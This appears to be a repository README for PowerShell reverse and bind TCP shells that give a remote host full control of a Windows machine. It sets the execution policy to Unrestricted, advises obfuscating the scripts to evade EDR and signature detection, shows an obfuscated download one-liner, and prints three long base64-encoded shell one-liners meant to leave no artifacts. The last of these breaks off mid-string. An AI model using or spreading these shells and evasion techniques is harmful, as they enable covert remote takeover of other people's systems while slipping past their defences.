PowerShell scripts for communicating with a remote host.
Remote host will have a full control over the client and all the underlying system commands.
Check shells based on:
Tested with PowerShell v5.1.19041.2673 on Windows 10 Enterprise OS (64-bit).
Made for educational purposes. I hope it will help!
This repository started to have known signatures and I don't have time to upload new scripts each time so you should obfuscate these scripts yourself.
Future plans:
- more shells based on process pipes, and optimize them further.
Change the IP address and port number inside the scripts as necessary.
Open the PowerShell from \src\invoke_expression\original\ or \src\process_pipes\original\ and run the commands shown below.
Set the execution policy:
Set-ExecutionPolicy UnrestrictedRun the script:
.\powershell_reverse_tcp.ps1Or, run the following command from either PowerShell or Command Prompt:
PowerShell -ExecutionPolicy Unrestricted -File .\powershell_reverse_tcp.ps1Try to bypass EDR and other security mechanisms by obfuscating your scripts. You can see such obfuscations in the examples below.
Original PowerShell command:
(New-Object Net.WebClient).DownloadFile($url, $out)Obfuscated PowerShell command:
& (`G`C`M *ke-E*) '(& (`G`C`M *ew-O*) `N`E`T`.`W`E`B`C`L`I`E`N`T)."`D`O`W`N`L`O`A`D`F`I`L`E"($url, $out)'Check the original PowerShell script here and the fully obfuscated one here.
After manual obfuscation, the original PowerShell script was obfuscated with Invoke-Obfuscation. Credits to the author!
Search the Internet for additional obfuscation techniques and methods.
P.S. Because PowerShell is constantly being updated, some regular expressions (e.g. *ke-E*) may start to throw exceptions due to multiple methods matching the same expression, so the expressions will need to be specified a little bit better.
To generate a PowerShell encoded command from a PowerShell script, run the following PowerShell command:
[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes([IO.File]::ReadAllText($script)))To decode a PowerShell encoded command, run the following PowerShell command:
[Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($command))Use the one-liners below if you don't want to leave any artifacts behind.
[Reverse TCP - Invoke-Expression] To pass parameters to the PowerShell encoded command, run the following command from either PowerShell or Command Prompt:
PowerShell -Command "'127.0.0.1', '9500'" | PowerShell -ExecutionPolicy Unrestricted -NoProfile -EncodedCommand JABhACAAPQAgACQAKABSAGUAYQBkAC0ASABvAHMAdAAgAC0AUAByAG8AbQBwAHQAIAAiAEUAbgB0AGUAcgAgAGEAZABkAHIAZQBzAHMAIgApAC4AVAByAGkAbQAoACkAOwAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiACIAOwAgACQAcAAgAD0AIAAkACgAUgBlAGEAZAAtAEgAbwBzAHQAIAAtAFAAcgBvAG0AcAB0ACAAIgBFAG4AdABlAHIAIABwAG8AcgB0ACAAbgB1AG0AYgBlAHIAIgApAC4AVAByAGkAbQAoACkAOwAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiACIAOwAgAGkAZgAgACgAJABhAC4ATABlAG4AZwB0AGgAIAAtAGwAdAAgADEAIAAtAG8AcgAgACQAcAAuAEwAZQBuAGcAdABoACAALQBsAHQAIAAxACkAIAB7ACAAVwByAGkAdABlAC0ASABvAHMAdAAgACIAQgBvAHQAaAAgAHAAYQByAGEAbQBlAHQAZQByAHMAIABhAHIAZQAgAHIAZQBxAHUAaQByAGUAZAAiADsAIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgBQAG8AdwBlAHIAUwBoAGUAbABsACAAUgBlAHYAZQByAHMAZQAgAFQAQwBQACAAdgA0AC4AMAAgAGIAeQAgAEkAdgBhAG4AIABTAGkAbgBjAGUAawAuAGAAbgBHAGkAdABIAHUAYgAgAHIAZQBwAG8AcwBpAHQAbwByAHkAIABhAHQAIABnAGkAdABoAHUAYgAuAGMAbwBtAC8AaQB2AGEAbgAtAHMAaQBuAGMAZQBrAC8AcABvAHcAZQByAHMAaABlAGwAbAAtAHIAZQB2AGUAcgBzAGUALQB0AGMAcAAuACIAOwAgACQAYwAgAD0AIAAkAHMAIAA9ACAAJABiACAAPQAgACQAdwAgAD0AIAAkAGQAIAA9ACAAJAByACAAPQAgACQAbgB1AGwAbAA7ACAAdAByAHkAIAB7ACAAJABjACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAGMAcABDAGwAaQBlAG4AdAAoACQAYQAsACAAJABwACkAOwAgACQAcwAgAD0AIAAkAGMALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwAgACQAYgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAxADAAMgA0ADsAIAAkAGUAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwA7ACAAJAB3ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBXAHIAaQB0AGUAcgAoACQAcwAsACAAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALAAgADEAMAAyADQAKQA7ACAAJAB3AC4AQQB1AHQAbwBGAGwAdQBzAGgAIAA9ACAAJAB0AHIAdQBlADsAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgBCAGEAYwBrAGQAbwBvAHIAIABpAHMAIAB1AHAAIABhAG4AZAAgAHIAdQBuAG4AaQBuAGcALgAuAC4AYABuACIAOwAgACQAYgB5ACAAPQAgADAAOwAgAGQAbwAgAHsAIAAkAHcALgBXAHIAaQB0AGUAKAAiAFAAUwA ACIAKQA7ACAAZABvACAAewAgACQAYgB5ACAAPQAgACQAcwAuAFIAZQBhAGQAKAAkAGIALAAgADAALAAgACQAYgAuAEwAZQBuAGcAdABoACkAOwAgAGkAZgAgACgAJABiAHkAIAAtAGcAdAAgADAAKQAgAHsAIAAkAGQAIAArAD0AIAAkAGUALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgAsACAAMAAsACAAJABiAHkAKQA7ACAAfQAgAH0AIAB3AGgAaQBsAGUAIAAoACQAcwAuAEQAYQB0AGEAQQB2AGEAaQBsAGEAYgBsAGUAKQA7ACAAaQBmACAAKAAkAGIAeQAgAC0AZwB0ACAAMAApACAAewAgACQAZAAgAD0AIAAkAGQALgBUAHIAaQBtACgAKQA7ACAAaQBmACAAKAAkAGQALgBMAGUAbgBnAHQAaAAgAC0AZwB0ACAAMAApACAAewAgAHQAcgB5ACAAewAgACQAcgAgAD0AIABJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAtAEMAbwBtAG0AYQBuAGQAIAAkAGQAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAOwAgAH0AIABjAGEAdABjAGgAIAB7ACAAJAByACAAPQAgACQAXwAuAEUAeABjAGUAcAB0AGkAbwBuACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAOwAgAH0AIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIABkADsAIABpAGYAIAAoACQAcgAuAEwAZQBuAGcAdABoACAALQBnAHQAIAAwACkAIAB7ACAAJAB3AC4AVwByAGkAdABlACgAJAByACkAOwAgAEMAbABlAGEAcgAtAFYAYQByAGkAYQBiAGwAZQAgAHIAOwAgAH0AIAB9ACAAfQAgAH0AIAB3AGgAaQBsAGUAIAAoACQAYgB5ACAALQBnAHQAIAAwACkAOwAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiAEIAYQBjAGsAZABvAG8AcgAgAHcAaQBsAGwAIABuAG8AdwAgAGUAeABpAHQALgAuAC4AIgA7ACAAfQAgAGMAYQB0AGMAaAAgAHsAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAJABfAC4ARQB4AGMAZQBwAHQAaQBvAG4ALgBJAG4AbgBlAHIARQB4AGMAZQBwAHQAaQBvAG4ALgBNAGUAcwBzAGEAZwBlADsAIAB9ACAAZgBpAG4AYQBsAGwAeQAgAHsAIABpAGYAIAAoACQAdwAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJAB3AC4AQwBsAG8AcwBlACgAKQA7ACAAJAB3AC4ARABpAHMAcABvAHMAZQAoACkAOwAgAEMAbABlAGEAcgAtAFYAYQByAGkAYQBiAGwAZQAgAHcAOwAgAH0AIABpAGYAIAAoACQAcwAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJABzAC4AQwBsAG8AcwBlACgAKQA7ACAAJABzAC4ARABpAHMAcABvAHMAZQAoACkAOwAgAEMAbABlAGEAcgAtAFYAYQByAGkAYQBiAGwAZQAgAHMAOwAgAH0AIABpAGYAIAAoACQAYwAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJABjAC4AQwBsAG8AcwBlACgAKQA7ACAAJABjAC4ARABpAHMAcABvAHMAZQAoACkAOwAgAEMAbABlAGEAcgAtAFYAYQByAGkAYQBiAGwAZQAgAGMAOwAgAH0AIABpAGYAIAAoACQAYgAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJABiAC4AQwBsAGUAYQByACgAKQA7ACAAQwBsAGUAYQByAC0AVgBhAHIAaQBhAGIAbABlACAAYgA7ACAAfQAgAGkAZgAgACgAJAByACAALQBuAGUAIAAkAG4AdQBsAGwAKQAgAHsAIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIAByADsAIAB9ACAAaQBmACAAKAAkAGQAIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAEMAbABlAGEAcgAtAFYAYQByAGkAYQBiAGwAZQAgAGQAOwAgAH0AIABbAEcAQwBdADoAOgBDAG8AbABsAGUAYwB0ACgAKQA7ACAAfQAgAH0AIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIABhADsAIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIABwADsAThe encoded script will prompt for input. See the slightly altered script here - used the minified script to reduce the command length.
[Reverse TCP - Process Pipes] To pass parameters to the PowerShell encoded command, run the following command from either PowerShell or Command Prompt:
PowerShell -Command "'127.0.0.1', '9500'" | PowerShell -ExecutionPolicy Unrestricted -NoProfile -EncodedCommand JABhACAAPQAgACQAKABSAGUAYQBkAC0ASABvAHMAdAAgAC0AUAByAG8AbQBwAHQAIAAiAEUAbgB0AGUAcgAgAGEAZABkAHIAZQBzAHMAIgApAC4AVAByAGkAbQAoACkAOwAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiACIAOwAgACQAcAB0ACAAPQAgACQAKABSAGUAYQBkAC0ASABvAHMAdAAgAC0AUAByAG8AbQBwAHQAIAAiAEUAbgB0AGUAcgAgAHAAbwByAHQAIABuAHUAbQBiAGUAcgAiACkALgBUAHIAaQBtACgAKQA7ACAAVwByAGkAdABlAC0ASABvAHMAdAAgACIAIgA7ACAAaQBmACAAKAAkAGEALgBMAGUAbgBnAHQAaAAgAC0AbAB0ACAAMQAgAC0AbwByACAAJABwAHQALgBMAGUAbgBnAHQAaAAgAC0AbAB0ACAAMQApACAAewAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiAEIAbwB0AGgAIABwAGEAcgBhAG0AZQB0AGUAcgBzACAAYQByAGUAIAByAGUAcQB1AGkAcgBlAGQAIgA7ACAAfQAgAGUAbABzAGUAIAB7ACAAVwByAGkAdABlAC0ASABvAHMAdAAgACIAUABvAHcAZQByAFMAaABlAGwAbAAgAFIAZQB2AGUAcgBzAGUAIABUAEMAUAAgAHYANAAuADAAIABiAHkAIABJAHYAYQBuACAAUwBpAG4AYwBlAGsALgBgAG4ARwBpAHQASAB1AGIAIAByAGUAcABvAHMAaQB0AG8AcgB5ACAAYQB0ACAAZwBpAHQAaAB1AGIALgBjAG8AbQAvAGkAdgBhAG4ALQBzAGkAbgBjAGUAawAvAHAAbwB3AGUAcgBzAGgAZQBsAGwALQByAGUAdgBlAHIAcwBlAC0AdABjAHAALgAiADsAIAAkAGMAIAA9ACAAJABzACAAPQAgACQAYgAgAD0AIAAkAHcAIAA9ACAAJABwACAAPQAgACQAZQAgAD0AIAAkAG8AIAA9ACAAJABlAGUAIAA9ACAAJABvAGUAIAA9ACAAJABuAHUAbABsADsAIAB0AHIAeQAgAHsAIAAkAGMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAYwBwAEMAbABpAGUAbgB0ACgAJABhACwAIAAkAHAAdAApADsAIAAkAHMAIAA9ACAAJABjAC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAIAAkAHMALgBSAGUAYQBkAFQAaQBtAGUAbwB1AHQAIAA9ACAANQA7ACAAJABiACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABCAHkAdABlAFsAXQAgADEAMAAyADQAOwAgACQAdwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AUwB0AHIAZQBhAG0AVwByAGkAdABlAHIAKAAkAHMALAAgAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4ACwAIAAxADAAMgA0ACkAOwAgACQAdwAuAEEAdQB0AG8ARgBsAHUAcwBoACAAPQAgACQAdAByAHUAZQA7ACAAJABwACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzADsAIAAkAHAALgBTAHQAYQByAHQASQBuAGYAbwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBTAHQAYQByAHQASQBuAGYAbwA7ACAAJABwAC4AUwB0AGEAcgB0AEkAbgBmAG8ALgBGAGkAbABlAE4AYQBtAGUAIAA9ACAAIgBwAG8AdwBlAHIAcwBoAGUAbABsACIAOwAgACQAcAAuAFMAdABhAHIAdABJAG4AZgBvAC4AQwByAGUAYQB0AGUATgBvAFcAaQBuAGQAbwB3ACAAPQAgACQAdAByAHUAZQA7ACAAJABwAC4AUwB0AGEAcgB0AEkAbgBmAG8ALgBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIAA9ACAAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQBdADoAOgBIAGkAZABkAGUAbgA7ACAAJABwAC4AUwB0AGEAcgB0AEkAbgBmAG8ALgBVAHMAZQBTAGgAZQBsAGwARQB4AGUAYwB1AHQAZQAgAD0AIAAkAGYAYQBsAHMAZQA7ACAAJABwAC4AUwB0AGEAcgB0AEkAbgBmAG8ALgBSAGUAZABpAHIAZQBjAHQAUwB0AGEAbgBkAGEAcgBkAEkAbgBwAHUAdAAgAD0AIAAkAHAALgBTAHQAYQByAHQASQBuAGYAbwAuAFIAZQBkAGkAcgBlAGMAdABTAHQAYQBuAGQAYQByAGQARQByAHIAbwByACAAPQAgACQAcAAuAFMAdABhAHIAdABJAG4AZgBvAC4AUgBlAGQAaQByAGUAYwB0AFMAdABhAG4AZABhAHIAZABPAHUAdABwAHUAdAAgAD0AIAAkAHQAcgB1AGUAOwAgACQAcAAuAFMAdABhAHIAdABJAG4AZgBvAC4ARQByAHIAbwByAEQAaQBhAGwAbwBnACAAPQAgACQAZgBhAGwAcwBlADsAIAAkAHAALgBFAG4AYQBiAGwAZQBSAGEAaQBzAGkAbgBnAEUAdgBlAG4AdABzACAAPQAgACQAZgBhAGwAcwBlADsAIAAkAGUAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBTAHQAcgBpAG4AZwBCAHUAaQBsAGQAZQByADsAIAAkAG8AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBTAHQAcgBpAG4AZwBCAHUAaQBsAGQAZQByADsAIAAkAHMAYgAgAD0AIAB7ACAAaQBmACAAKAAkAEUAdgBlAG4AdABBAHIAZwBzAC4ARABhAHQAYQAuAEwAZQBuAGcAdABoACAALQBnAHQAIAAwACkAIAB7ACAAJABFAHYAZQBuAHQALgBNAGUAcwBzAGEAZwBlAEQAYQB0AGEALgBBAHAAcABlAG4AZABMAGkAbgBlACgAJABFAHYAZQBuAHQAQQByAGcAcwAuAEQAYQB0AGEAKQA7ACAAfQAgAH0AOwAgACQAZQBlACAAPQAgAFIAZQBnAGkAcwB0AGUAcgAtAE8AYgBqAGUAYwB0AEUAdgBlAG4AdAAgAC0ASQBuAHAAdQB0AE8AYgBqAGUAYwB0ACAAJABwACAALQBFAHYAZQBuAHQATgBhAG0AZQAgACIARQByAHIAbwByAEQAYQB0AGEAUgBlAGMAZQBpAHYAZQBkACIAIAAtAEEAYwB0AGkAbwBuACAAJABzAGIAIAAtAE0AZQBzAHMAYQBnAGUARABhAHQAYQAgACQAZQA7ACAAJABvAGUAIAA9ACAAUgBlAGcAaQBzAHQAZQByAC0ATwBiAGoAZQBjAHQARQB2AGUAbgB0ACAALQBJAG4AcAB1AHQATwBiAGoAZQBjAHQAIAAkAHAAIAAtAEUAdgBlAG4AdABOAGEAbQBlACAAIgBPAHUAdABwAHUAdABEAGEAdABhAFIAZQBjAGUAaQB2AGUAZAAiACAALQBBAGMAdABpAG8AbgAgACQAcwBiACAALQBNAGUAcwBzAGEAZwBlAEQAYQB0AGEAIAAkAG8AOwAgACQAcAAuAFMAdABhAHIAdAAoACkAIAB8ACAATwB1AHQALQBOAHUAbABsADsAIAAkAHAALgBCAGUAZwBpAG4ARQByAHIAbwByAFIAZQBhAGQATABpAG4AZQAoACkAOwAgACQAcAAuAEIAZQBnAGkAbgBPAHUAdABwAHUAdABSAGUAYQBkAEwAaQBuAGUAKAApADsAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgBCAGEAYwBrAGQAbwBvAHIAIABpAHMAIAB1AHAAIABhAG4AZAAgAHIAdQBuAG4AaQBuAGcALgAuAC4AYABuACIAOwAgAHcAaABpAGwAZQAgACgAIQAkAHAALgBIAGEAcwBFAHgAaQB0AGUAZAApACAAewAgAHQAcgB5ACAAewAgACQAYgB5ACAAPQAgACQAcwAuAFIAZQBhAGQAKAAkAGIALAAgADAALAAgACQAYgAuAEwAZQBuAGcAdABoACkAOwAgAGkAZgAgACgAJABiAHkAIAAtAGcAdAAgADAAKQAgAHsAIAAkAHAALgBTAHQAYQBuAGQAYQByAGQASQBuAHAAdQB0AC4AVwByAGkAdABlACgAJABiACwAIAAwACwAIAAkAGIAeQApADsAIAB9ACAAZQBsAHMAZQAgAHsAIABiAHIAZQBhAGsAOwAgAH0AIAB9ACAAYwBhAHQAYwBoACAAWwBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAE0AZQB0AGgAbwBkAEkAbgB2AG8AYwBhAHQAaQBvAG4ARQB4AGMAZQBwAHQAaQBvAG4AXQAgAHsAfQAgAGkAZgAgACgAJABlAC4ATABlAG4AZwB0AGgAIAAtAGcAdAAgADAAKQAgAHsAIAAkAHcALgBXAHIAaQB0AGUAKAAkAG8ALgBUAG8AUwB0AHIAaQBuAGcAKAApACkAOwAgACQAbwAuAGMAbABlAGEAcgAoACkAOwAgAH0AIABpAGYAIAAoACQAbwAuAEwAZQBuAGcAdABoACAALQBnAHQAIAAwACkAIAB7ACAAJAB3AC4AVwByAGkAdABlACgAJABvAC4AVABvAFMAdAByAGkAbgBnACgAKQApADsAIAAkAG8ALgBjAGwAZQBhAHIAKAApADsAIAB9ACAAfQAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiAEIAYQBjAGsAZABvAG8AcgAgAHcAaQBsAGwAIABuAG8AdwAgAGUAeABpAHQALgAuAC4AIgA7ACAAfQAgAGMAYQB0AGMAaAAgAHsAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAJABfAC4ARQB4AGMAZQBwAHQAaQBvAG4ALgBJAG4AbgBlAHIARQB4AGMAZQBwAHQAaQBvAG4ALgBNAGUAcwBzAGEAZwBlADsAIAB9ACAAZgBpAG4AYQBsAGwAeQAgAHsAIABpAGYAIAAoACQAZQBlACAALQBuAGUAIAAkAG4AdQBsAGwAKQAgAHsAIABVAG4AcgBlAGcAaQBzAHQAZQByAC0ARQB2AGUAbgB0ACAALQBTAG8AdQByAGMAZQBJAGQAZQBuAHQAaQBmAGkAZQByACAAJABlAGUALgBOAGEAbQBlADsAIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIABlAGUAOwAgAH0AIABpAGYAIAAoACQAbwBlACAALQBuAGUAIAAkAG4AdQBsAGwAKQAgAHsAIABVAG4AcgBlAGcAaQBzAHQAZQByAC0ARQB2AGUAbgB0ACAALQBTAG8AdQByAGMAZQBJAGQAZQBuAHQAaQBmAGkAZQByACAAJABvAGUALgBOAGEAbQBlADsAIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIABvAGUAOwAgAH0AIABpAGYAIAAoACQAcAAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJABwAC4AQwBsAG8AcwBlACgAKQA7ACAAJABwAC4ARABpAHMAcABvAHMAZQAoACkAOwAgAEMAbABlAGEAcgAtAFYAYQByAGkAYQBiAGwAZQAgAHAAOwAgAH0AIABpAGYAIAAoACQAdwAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJAB3AC4AQwBsAG8AcwBlACgAKQA7ACAAJAB3AC4ARABpAHMAcABvAHMAZQAoACkAOwAgAEMAbABlAGEAcgAtAFYAYQByAGkAYQBiAGwAZQAgAHcAOwAgAH0AIABpAGYAIAAoACQAcwAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJABzAC4AQwBsAG8AcwBlACgAKQA7ACAAJABzAC4ARABpAHMAcABvAHMAZQAoACkAOwAgAEMAbABlAGEAcgAtAFYAYQByAGkAYQBiAGwAZQAgAHMAOwAgAH0AIABpAGYAIAAoACQAYwAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJABjAC4AQwBsAG8AcwBlACgAKQA7ACAAJABjAC4ARABpAHMAcABvAHMAZQAoACkAOwAgAEMAbABlAGEAcgAtAFYAYQByAGkAYQBiAGwAZQAgAGMAOwAgAH0AIABpAGYAIAAoACQAYgAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJABiAC4AQwBsAGUAYQByACgAKQA7ACAAQwBsAGUAYQByAC0AVgBhAHIAaQBhAGIAbABlACAAYgA7ACAAfQAgAGkAZgAgACgAJABlACAALQBuAGUAIAAkAG4AdQBsAGwAKQAgAHsAIAAkAGUALgBDAGwAZQBhAHIAKAApADsAIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIABlADsAIAB9ACAAaQBmACAAKAAkAG8AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgACQAbwAuAEMAbABlAGEAcgAoACkAOwAgAEMAbABlAGEAcgAtAFYAYQByAGkAYQBiAGwAZQAgAG8AOwAgAH0AIABbAEcAQwBdADoAOgBDAG8AbABsAGUAYwB0ACgAKQA7ACAAfQAgAH0AIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIABhADsAIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIABwAHQAOwA=The encoded script will prompt for input. See the slightly altered script here - used the minified script to reduce the command length.
[Bind TCP - Invoke-Expression] To pass parameters to the PowerShell encoded command, run the following command from either PowerShell or Command Prompt:
PowerShell -Command "'9500'" | PowerShell -ExecutionPolicy Unrestricted -NoProfile -EncodedCommand JABwACAAPQAgACQAKABSAGUAYQBkAC0ASABvAHMAdAAgAC0AUAByAG8AbQBwAHQAIAAiAEUAbgB0AGUAcgAgAHAAbwByAHQAIABuAHUAbQBiAGUAcgAiACkALgBUAHIAaQBtACgAKQA7ACAAVwByAGkAdABlAC0ASABvAHMAdAAgACIAIgA7ACAAaQBmACAAKAAkAHAALgBMAGUAbgBnAHQAaAAgAC0AbAB0ACAAMQApACAAewAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiAFAAbwByAHQAIABuAHUAbQBiAGUAcgAgAGkAcwAgAHIAZQBxAHUAaQByAGUAZAAiADsAIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgBQAG8AdwBlAHIAUwBoAGUAbABsACAAQgBpAG4AZAAgAFQAQwBQACAAdgA0AC4AMAAgAGIAeQAgAEkAdgBhAG4AIABTAGkAbgBjAGUAawAuAGAAbgBHAGkAdABIAHUAYgAgAHIAZQBwAG8AcwBpAHQAbwByAHkAIABhAHQAIABnAGkAdABoAHUAYgAuAGMAbwBtAC8AaQB2AGEAbgAtAHMAaQBuAGMAZQBrAC8AcABvAHcAZQByAHMAaABlAGwAbAAtAHIAZQB2AGUAcgBzAGUALQB0AGMAcAAuACIAOwAgACQAbAAgAD0AIAAkAGMAIAA9ACAAJABzACAAPQAgACQAYgAgAD0AIAAkAHcAIAA9ACAAJABkACAAPQAgACQAcgAgAD0AIAAkAG4AdQBsAGwAOwAgAHQAcgB5ACAAewAgACQAbAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBTAG8AYwBrAGUAdABzAC4AVABjAHAATABpAHMAdABlAG4AZQByACgAIgAwAC4AMAAuADAALgAwACIALAAgACQAcAApADsAIAAkAGwALgBTAHQAYQByAHQAKAApADsAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgBCAGEAYwBrAGQAbwBvAHIAIABpAHMAIAB1AHAAIABhAG4AZAAgAHIAdQBuAG4AaQBuAGcALgAuAC4AYABuAGAAbgBXAGEAaQB0AGkAbgBnACAAZgBvAHIAIABjAGwAaQBlAG4AdAAgAHQAbwAgAGMAbwBuAG4AZQBjAHQALgAuAC4AYABuACIAOwAgAGQAbwAgAHsAIABpAGYAIAAoACQAbAAuAFAAZQBuAGQAaQBuAGcAKAApACkAIAB7ACAAJABjACAAPQAgACQAbAAuAEEAYwBjAGUAcAB0AFQAYwBwAEMAbABpAGUAbgB0ACgAKQA7ACAAfQAgAGUAbABzAGUAIAB7ACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBNAGkAbABsAGkAcwBlAGMAbwBuAGQAcwAgADUAMAAwADsAIAB9ACAAfQAgAHcAaABpAGwAZQAgACgAJABjACAALQBlAHEAIAAkAG4AdQBsAGwAKQA7ACAAJABsAC4AUwB0AG8AcAAoACkAOwAgACQAcwAgAD0AIAAkAGMALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwAgACQAYgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAxADAAMgA0ADsAIAAkAGUAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwA7ACAAJAB3ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBXAHIAaQB0AGUAcgAoACQAcwAsACAAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALAAgADEAMAAyADQAKQA7ACAAJAB3AC4AQQB1AHQAbwBGAGwAdQBzAGgAIAA9ACAAJAB0AHIAdQBlADsAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgBDAGwAaQBlAG4AdAAgAGgAYQBzACAAYwBvAG4AbgBlAGMAdABlAGQAIQBgAG4AIgA7ACAAJABiAHkAIAA9ACAAMAA7ACAAZABvACAAewAgACQAdwAuAFcAcgBpAHQAZQAoACIAUABTAD4AIgApADsAIABkAG8AIAB7ACAAJABiAHkAIAA9ACAAJABzAC4AUgBlAGEAZAAoACQAYgAsACAAMAAsACAAJABiAC4ATABlAG4AZwB0AGgAKQA7ACAAaQBmACAAKAAkAGIAeQAgAC0AZwB0ACAAMAApACAAewAgACQAZAAgACsAPQAgACQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiACwAIAAwACwAIAAkAGIAeQApADsAIAB9ACAAfQAgAHcAaABpAGwAZQAgACgAJABzAC4ARABhAHQAYQBBAHYAYQBpAGwAYQBiAGwAZQApADsAIABpAGYAIAAoACQAYgB5ACAALQBnAHQAIAAwACkAIAB7ACAAJABkACAAPQAgACQAZAAuAFQAcgBpAG0AKAApADsAIABpAGYAIAAoACQAZAAuAEwAZQBuAGcAdABoACAALQBnAHQAIAAwACkAIAB7ACAAdAByAHkAIAB7ACAAJAByACAAPQAgAEkAbgB2AG8AawBlAC0ARQB4AHAAcgBlAHMAcwBpAG8AbgAgAC0AQwBvAG0AbQBhAG4AZAAgACQAZAAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwA7ACAAfQAgAGMAYQB0AGMAaAAgAHsAIAAkAHIAIAA9ACAAJABfAC4ARQB4AGMAZQBwAHQAaQBvAG4AIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwA7ACAAfQAgAEMAbABlAGEAcgAtAFYAYQByAGkAYQBiAGwAZQAgAGQAOwAgAGkAZgAgACgAJAByAC4ATABlAG4AZwB0AGgAIAAtAGcAdAAgADAAKQAgAHsAIAAkAHcALgBXAHIAaQB0AGUAKAAkAHIAKQA7ACAAQwBsAGUAYQByAC0AVgBhAHIAaQBhAGIAbABlACAAcgA7ACAAfQAgAH0AIAB9ACAAfQAgAHcAaABpAGwAZQAgACgAJABiAHkAIAAtAGcAdAAgADAAKQA7ACAAVwByAGkAdABlAC0ASABvAHMAdAAgACIAQwBsAGkAZQBuAHQAIABoAGEAcwAgAGQAaQBzAGMAbwBuAG4AZQBjAHQAZQBkACEAIgA7ACAAfQAgAGMAYQB0AGMAaAAgAHsAI